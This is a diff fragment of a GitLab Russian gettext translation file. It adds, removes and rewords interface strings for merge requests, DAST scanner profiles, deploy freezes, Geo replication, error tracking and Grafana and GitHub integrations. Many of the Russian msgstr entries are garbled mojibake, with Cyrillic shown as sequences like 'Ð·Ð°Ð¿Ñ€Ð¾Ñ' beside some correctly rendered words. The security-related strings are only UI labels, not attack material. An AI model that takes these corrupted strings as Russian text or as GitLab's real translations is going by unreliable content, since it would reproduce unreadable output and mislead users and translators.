+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8752,6 +9039,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr "Страна"
@@ -8761,19 +9051,15 @@ msgstr "Покрытие"
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] "Покрытие кода Ð´Ð»Ñ Ñтой Ñборочной линии было раÑÑчитано по покрытию %d заданиÑ."
-msgstr[1] "Покрытие кода Ð´Ð»Ñ Ñтой Ñборочной линии было раÑÑчитано уÑреднением Ð¿Ð¾ÐºÑ€Ñ‹Ñ‚Ð¸Ñ %d заданий."
-msgstr[2] "Покрытие кода Ð´Ð»Ñ Ñтой Ñборочной линии было раÑÑчитано уÑреднением Ð¿Ð¾ÐºÑ€Ñ‹Ñ‚Ð¸Ñ %d заданий."
-msgstr[3] "Покрытие кода Ð´Ð»Ñ Ñтой Ñборочной линии было раÑÑчитано уÑреднением Ð¿Ð¾ÐºÑ€Ñ‹Ñ‚Ð¸Ñ %d заданий."
-
msgid "Create"
msgstr "Создать"
msgid "Create %{environment}"
msgstr "Создать %{environment}"
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8799,7 +9085,7 @@ msgid "Create a local proxy for storing frequently used upstream images. %{link_
msgstr ""
msgid "Create a merge request"
-msgstr ""
+msgstr "Создать Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние"
msgid "Create a new %{codeStart}.gitlab-ci.yml%{codeEnd} file at the root of the repository to get started."
msgstr ""
@@ -8841,10 +9127,10 @@ msgid "Create commit"
msgstr "Создать коммит"
msgid "Create confidential merge request"
-msgstr ""
+msgstr "Создать конфиденциальный Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние"
msgid "Create confidential merge request and branch"
-msgstr ""
+msgstr "Создать конфиденциальный Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние и ветку"
msgid "Create directory"
msgstr "Создать каталог"
@@ -8918,9 +9204,6 @@ msgstr "Создать новый файл"
msgid "Create new file or directory"
msgstr "Создать новый файл или каталог"
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr "Создать новую метку"
@@ -8942,6 +9225,9 @@ msgstr "Создать требование"
msgid "Create snippet"
msgstr "Создать Ñниппет"
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -9095,6 +9381,9 @@ msgstr ""
msgid "Created"
msgstr "Создан"
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -9105,10 +9394,10 @@ msgid "Created On"
msgstr ""
msgid "Created a branch and a merge request to resolve this issue."
-msgstr ""
+msgstr "Создана ветка и Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние Ð´Ð»Ñ Ñ€ÐµÑˆÐµÐ½Ð¸Ñ Ñтого обÑуждениÑ."
msgid "Created branch '%{branch_name}' and a merge request to resolve this issue."
-msgstr ""
+msgstr "Создана ветка %{branch_name} и Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние Ð´Ð»Ñ Ñ€ÐµÑˆÐµÐ½Ð¸Ñ Ñтого обÑуждениÑ."
msgid "Created by %{job}"
msgstr ""
@@ -9129,10 +9418,10 @@ msgid "Created issue %{issueLink} at %{projectLink}"
msgstr ""
msgid "Created merge request %{mergeRequestLink}"
-msgstr ""
+msgstr "Создан Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние %{mergeRequestLink}"
msgid "Created merge request %{mergeRequestLink} at %{projectLink}"
-msgstr ""
+msgstr "Создан Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние %{mergeRequestLink} в %{projectLink}"
msgid "Created on"
msgstr "Дата ÑозданиÑ"
@@ -9144,7 +9433,7 @@ msgid "Created on:"
msgstr "Дата ÑозданиÑ:"
msgid "Creates a branch and a merge request to resolve this issue."
-msgstr ""
+msgstr "Создает ветку и Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние Ð´Ð»Ñ Ñ€ÐµÑˆÐµÐ½Ð¸Ñ Ñтого вопроÑа."
msgid "Creates branch '%{branch_name}' and a merge request to resolve this issue."
msgstr "Создает ветку %{branch_name} и Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние Ð´Ð»Ñ Ñ€ÐµÑˆÐµÐ½Ð¸Ñ Ñтого вопроÑа."
@@ -9158,6 +9447,9 @@ msgstr "Цель ÑоздаетÑÑ"
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr "Дата ÑозданиÑ"
@@ -9339,7 +9631,7 @@ msgid "CycleAnalyticsEvent|%{label_reference} label was removed from the merge r
msgstr ""
msgid "CycleAnalyticsEvent|Issue closed"
-msgstr ""
+msgstr "ОбÑуждение закрыто"
msgid "CycleAnalyticsEvent|Issue created"
msgstr "Создана задача"
@@ -9462,8 +9754,12 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr "Показать"
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9558,6 +9854,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9627,6 +9926,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9687,6 +9992,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9720,6 +10028,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9750,12 +10061,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9835,6 +10158,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9865,6 +10191,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr "День меÑÑца"
@@ -10294,13 +10623,19 @@ msgstr "Развернуть в..."
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10411,9 +10746,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr "Отозвать"
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr "Отозвать %{name}"
@@ -10441,9 +10773,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr "Ð˜Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ"
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr "Ð’Ñ‹ ÑобираетеÑÑŒ отозвать %{b_start}%{name}%{b_end}."
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10559,9 +10888,6 @@ msgstr "ОпиÑание:"
msgid "Descriptive label"
msgstr "ОпиÑÑ‹Ð²Ð°ÑŽÑ‰Ð°Ñ Ð¼ÐµÑ‚ÐºÐ°"
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr "Данные и файлы ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð´Ð¸Ð·Ð°Ð¹Ð½Ð°Ð¼Ð¸"
@@ -10721,13 +11047,13 @@ msgstr "ПодробноÑти (по умолчанию)"
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10742,7 +11068,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10998,6 +11324,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr "Закрыть окно Ð²Ð²ÐµÐ´ÐµÐ½Ð¸Ñ Ð² Ðналитику потока ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ñ†ÐµÐ½Ð½Ð¾Ñти"
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -11241,6 +11570,9 @@ msgstr ""
msgid "Edit comment"
msgstr "Редактировать комментарий"
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr "Изменить опиÑание"
@@ -11253,6 +11585,9 @@ msgstr "Редактируйте файлы в редакторе и зафикÑ
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr "Правка группы: %{group_name}"
@@ -11472,6 +11807,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr "Включить Auto DevOps"
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr "Включить Gitpod"
@@ -11496,6 +11834,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11508,6 +11849,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr "Включить доÑтуп к Grafana"
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11520,6 +11864,9 @@ msgstr "Включить и наÑтроить метрики Prometheus."
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11631,6 +11978,9 @@ msgstr "Включено"
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11700,9 +12050,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr "Введите URL запроÑа на ÑлиÑние"
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12330,20 +12677,20 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr "Ðктивно"
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
-msgstr "ПоÑле Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ токена авторизации, иÑпользуйте кнопку «ПодключитьÑÑ» Ð´Ð»Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸ проектов"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
+msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr "Токен аутентификации"
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
-msgstr "Ðажмите кнопку \"ПодключитьÑÑ\", чтобы воÑÑтановить подключение к Sentry и активировать выпадающий ÑпиÑок."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
+msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
-msgstr "Ошибка подключениÑ. Перепроверьте токен аутентификации и повторите попытку."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
+msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
-msgstr "ЕÑли вы размещаете Sentry ÑамоÑтоÑтельно, введите полный URL-Ð°Ð´Ñ€ÐµÑ Ð²Ð°ÑˆÐµÐ³Ð¾ ÑкземплÑра Sentry. ЕÑли вы иÑпользуете решение на инфраÑтруктуре Sentry, введите https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
+msgstr ""
msgid "ErrorTracking|No projects available"
msgstr "Ðет доÑтупных проектов"
@@ -12351,8 +12698,8 @@ msgstr "Ðет доÑтупных проектов"
msgid "ErrorTracking|Select project"
msgstr "Выбрать проект"
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
-msgstr "Чтобы включить выбор проекта, введите правильный токен аутентификации"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
+msgstr ""
msgid "Errors"
msgstr "Ошибки"
@@ -12462,9 +12809,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12531,6 +12875,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr "Развернуть боковую панель"
@@ -12600,6 +12947,9 @@ msgstr "Обзор публичных групп"
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12612,12 +12962,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr "ЭкÑпорт проекта"
@@ -12645,9 +12989,6 @@ msgstr ""
msgid "External URL"
msgstr "Внешний URL"
-msgid "External Wiki"
-msgstr "ВнешнÑÑ Wiki"
-
msgid "External authentication"
msgstr "ВнешнÑÑ Ð°ÑƒÑ‚ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ñ"
@@ -12669,14 +13010,17 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
-msgstr "ВнешнÑÑ Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
+msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr "ЗаменÑет ÑÑылку внутренней wiki ÑÑылкой на внешнюю wiki."
-msgid "ExternalWikiService|The URL of the external Wiki"
-msgstr "URL внешней Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
+msgstr ""
msgid "Facebook"
msgstr "Facebook"
@@ -12724,7 +13068,7 @@ msgid "Failed to clone this issue: wrong parameters."
msgstr ""
msgid "Failed to create Merge Request. Please try again."
-msgstr ""
+msgstr "Ðе удалоÑÑŒ Ñоздать Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние. ПожалуйÑта, попробуйте ещё раз."
msgid "Failed to create a branch for this issue. Please try again."
msgstr "Ðе удалоÑÑŒ Ñоздать ветку Ð´Ð»Ñ Ñтого обÑуждениÑ. ПожалуйÑта, попробуйте ещё раз."
@@ -12774,6 +13118,9 @@ msgstr "Ðе удаетÑÑ Ð¿Ð¾Ð»ÑƒÑ‡Ð¸Ñ‚ÑŒ ÑÑылку"
msgid "Failed to install."
msgstr "Ðе удалоÑÑŒ уÑтановить."
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12801,9 +13148,15 @@ msgstr "Ðе удалоÑÑŒ загрузить метрики активноÑÑ‚
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr "Ðе удалоÑÑŒ загрузить Ñтапы. ПожалуйÑта, попробуйте еще раз."
@@ -12852,9 +13205,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr "Ошибка при удалении обÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ñ Ð´Ð¾Ñки, повторите попытку."
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12909,9 +13259,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr "Ошибка Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð¾Ð±Ñуждений, пожалуйÑта, попробуйте Ñнова."
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13297,10 +13644,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13333,7 +13680,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13435,6 +13782,9 @@ msgstr "Токен иÑточника Flowdock Git"
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr "Flowdock - Ñто веб-приложение Ð´Ð»Ñ ÑовмеÑтной работы техничеÑких групп."
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13483,12 +13833,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
-msgstr "Ð”Ð»Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰Ð¸ в наÑтройке Службы поддержки Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ ÑкземплÑра, пожалуйÑта, обратитеÑÑŒ к админиÑтратору."
+msgid "For general work"
+msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr "Ð”Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð´Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ информации читайте документацию."
@@ -13498,9 +13851,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr "Ð”Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð´Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ информации, пожалуйÑта, ознакомьтеÑÑŒ Ñ %{link_start_tag}документацией по наÑтройке Jaeger%{link_end_tag}"
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13525,6 +13875,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13534,6 +13887,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13549,6 +13905,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13567,9 +13926,6 @@ msgstr "Ответвлено от"
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr "ВыполнÑетÑÑ Ð¾Ñ‚Ð²ÐµÑ‚Ð²Ð»ÐµÐ½Ð¸Ðµ"
@@ -13831,6 +14187,9 @@ msgstr "%{name} запланирован Ð´Ð»Ñ Ð¿Ð¾Ð²Ñ‚Ð¾Ñ€Ð½Ð¾Ð¹ ÑинхроÐ
msgid "Geo|%{name} is scheduled for re-verify"
msgstr "%{name} запланирован Ð´Ð»Ñ Ð¿Ð¾Ð²Ñ‚Ð¾Ñ€Ð½Ð¾Ð³Ð¾ подтверждениÑ"
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13873,9 +14232,15 @@ msgstr "Ðе удалоÑÑŒ удалить запиÑÑŒ отÑлеживаниÑ
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr "Ðе удалоÑÑŒ удалить запиÑÑŒ отÑÐ»ÐµÐ¶Ð¸Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ ÑущеÑтвующей загрузки."
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr "Ðе удалоÑÑŒ"
@@ -13900,6 +14265,15 @@ msgstr "Ð’ процеÑÑе"
msgid "Geo|In sync"
msgstr "Синхронизировано"
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr "ПоÑледний запуÑк проверки репозиториÑ"
@@ -13933,6 +14307,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr "Ðе Ñинхронизировано"
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr "Ожидание Ñинхронизации"
@@ -13960,6 +14340,9 @@ msgstr "Проекты в определенных группах"
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr "Скачать заново"
@@ -13972,6 +14355,30 @@ msgstr "Убрать запиÑÑŒ"
msgid "Geo|Remove tracking database entry"
msgstr "Удалить запиÑÑŒ базы данных отÑлеживаниÑ"
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr "РеÑинхронизировать"
@@ -13999,6 +14406,9 @@ msgstr ""
msgid "Geo|Status"
msgstr "СтатуÑ"
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr "Синхронизировано"
@@ -14011,6 +14421,9 @@ msgstr "Ошибка Ñинхронизации - %{error}"
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr "Ð’ наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ð±Ð°Ð·Ð° данных отÑтает от оÑновного узла на %{db_lag}."
@@ -14044,6 +14457,9 @@ msgstr "ÐеизвеÑтное ÑоÑтоÑние"
msgid "Geo|Verification failed - %{error}"
msgstr "Ошибка Ð¿Ð¾Ð´Ñ‚Ð²ÐµÑ€Ð¶Ð´ÐµÐ½Ð¸Ñ - %{error}"
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr "Ожидание планировщика"
@@ -14089,6 +14505,9 @@ msgstr "Ðачните работу Ñ Ñ€ÐµÐ»Ð¸Ð·Ð°Ð¼Ð¸"
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr "Git LFS не включен на Ñтом GitLab Ñервере, ÑвÑжитеÑÑŒ Ñ Ð²Ð°ÑˆÐ¸Ð¼ админиÑтратором."
@@ -14218,6 +14637,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14341,6 +14766,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr "Gitlab Pages"
@@ -14383,9 +14826,6 @@ msgstr "ВернутьÑÑ"
msgid "Go back (while searching for files)"
msgstr "ВернутьÑÑ (при поиÑке файлов)"
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr "Ðа веÑÑŒ Ñкран"
@@ -14515,16 +14955,13 @@ msgstr "URL Grafana"
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr "Ð’Ñтроить графики Grafana в обÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ GitLab."
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14536,6 +14973,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr "ПредоÑтавить доÑтуп"
